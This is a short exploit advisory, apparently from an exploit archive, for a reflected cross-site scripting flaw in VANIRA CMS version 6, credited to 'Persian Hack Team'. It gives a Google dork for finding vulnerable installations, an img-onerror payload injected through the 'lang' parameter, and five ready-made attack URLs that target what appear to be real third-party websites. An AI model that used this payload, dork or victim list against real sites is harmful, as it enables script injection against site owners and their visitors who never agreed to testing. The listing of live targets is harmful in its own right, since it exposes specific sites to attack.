VANIRA CMS Cross Site Scripting

[geeko]

######################
# Exploit Title : VANIRA CMS Cross Site Scripting
# Exploit Author : Persian Hack Team
# Vendor Homepage : http://tursweb.com/
# Google Dork : "Web Design > Tursweb.com " lang=
# Date: 2016/02/23
# Version : 6
######################
# PoC:
# lang=[XSS]
# Payload = '><img onerror=alert(1) src="asd">
#
# http://hncmed.ir/home.php?lang=fa%22%3E%3Cimg%20onerror=alert%281%29%20src=%22asd%22%3E
# http://gceramas.ir/pdview.php?&lang=fa%22%3E%3Cimg%20onerror=alert%281%29%20src=%22asd%22%3E
# http://isatismodava.com/home.php?lang=fa%22%3E%3Cimg%20onerror=alert%281%29%20src=%22asd%22%3E
# http://spadk9.com/shopcat.php?lang=fa%22%3E%3Cimg%20onerror=alert%281%29%20src=%22asd%22%3E
# http://iransommer.com/productcat.php?lang=fa%22%3E%3Cimg%20onerror=alert%281%29%20src=%22asd%22%3E
#
######################
# Discovered by :
# Mojtaba MobhaM (kazemimojtaba@live.com)
# T3NZOG4N (t3nz0g4n@yahoo.com)
# Homepage : persian-team.ir
######################